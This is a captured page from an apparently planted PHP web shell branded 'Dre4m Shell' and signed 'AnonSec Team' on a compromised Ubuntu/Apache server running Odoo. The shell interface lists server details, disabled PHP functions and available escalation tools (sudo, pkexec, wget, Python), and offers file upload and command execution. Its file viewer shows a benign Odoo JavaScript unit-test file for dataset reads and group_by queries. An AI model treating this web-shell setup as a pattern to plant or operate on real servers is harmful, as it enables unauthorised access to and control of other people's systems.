Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.222.188.103
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/web/static/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/web/static/test/data.js
odoo.define_section('web.dataset', ['web.data'], function (test, mock) {

    test('read_ids', function (assert, data) {
        assert.expect(2);
        mock.add('foo:read', function (args) {
            var ids = args[0];
            assert.deepEqual(ids, [3, 1, 2]);
            return [
                {id: 1, a: 'bar'},
                {id: 2, a: 'baz'},
                {id: 3, a: 'foo'}
            ];
        });

        var d = new data.DataSet(null, 'foo');

        return d.read_ids([3,1,2]).then(function (records) {
            assert.deepEqual(
                records,
                [
                    {id:3, a: 'foo'},
                    {id:1, a: 'bar'},
                    {id:2, a: 'baz'}
                ]
            );
        });
    });
});

odoo.define_section('data.model.group_by', ['web.DataModel'], function (test, mock) {

    var group_result = [
        { bar: 3, bar_count: 5, __context: {}, __domain: [['bar', '=', 3]], },
        { bar: 5, bar_count: 3, __context: {}, __domain: [['bar', '=', 5]], }, 
        { bar: 8, bar_count: 0, __context: {}, __domain: [['bar', '=', 8]], }
    ];

    test('basic', function (assert, Model) {
        assert.expect(7);
        mock.add('foo:read_group', function (args, kwargs) {
            assert.deepEqual(kwargs.fields, ['bar'],
                      "should read grouping field");
            assert.deepEqual(kwargs.groupby, ['bar'],
                      "should have single grouping field");
            return group_result;
        });

        mock.add('/web/dataset/search_read', function (args) {
            deepEqual(args.params.domain, [['bar', '=', 3]],
                      "should have domain matching that of group_by result");
            return {records: [
                {bar: 3, id: 1},
                {bar: 3, id: 2},
                {bar: 3, id: 4},
                {bar: 3, id: 8},
                {bar: 3, id: 16}
            ], length: 5};
        });

        var m = new Model('foo');

        return m.query().group_by('bar')
        .then(function (groups) {
            assert.ok(groups, "should have data");
            assert.equal(groups.length, 3, "should have three results");
            var first = groups[0];
            assert.ok(first.attributes.has_children, "should have children");
            return  first.query().all();
        }).then(function (first) {
            assert.equal(first.length, 5, "should have 5 records");
        });

    });

    test('noleaf', function (assert, Model) {
        assert.expect(5);
        var m = new Model('foo', {group_by_no_leaf: true});
        mock.add('foo:read_group', function (args, kwargs) {
            assert.deepEqual(kwargs.fields, ['bar'],
                      "should read grouping field");
            assert.deepEqual(kwargs.groupby, ['bar'],
                      "should have single grouping field");

            return  group_result;
        });

        return m.query().group_by('bar')
        .then(function (groups) {
            assert.ok(groups, "should have data");
            assert.equal(groups.length, 3, "should have three results");
            assert.ok(!groups[0].attributes.has_children,
                "should not have children because no_leaf");
        });
    });

    test('nogroup', function (assert, Model) {
        var m = new Model('foo');
        strictEqual(m.query().group_by(), null, "should not group");
    });

    test('empty.noleaf', function (assert, Model) {
        assert.expect(1);

        var m = new Model('foo',  {group_by_no_leaf: true});
        
        mock.add('foo:read_group', function (args, kwargs) {
            return [{__context: [], __domain: []}];
        });

        return m.query().group_by().done(function (groups) {
            assert.strictEqual(groups.length, 1,
                        "should generate a single fake-ish group");
        });
    });

});

Anon7 - 2022
AnonSec Team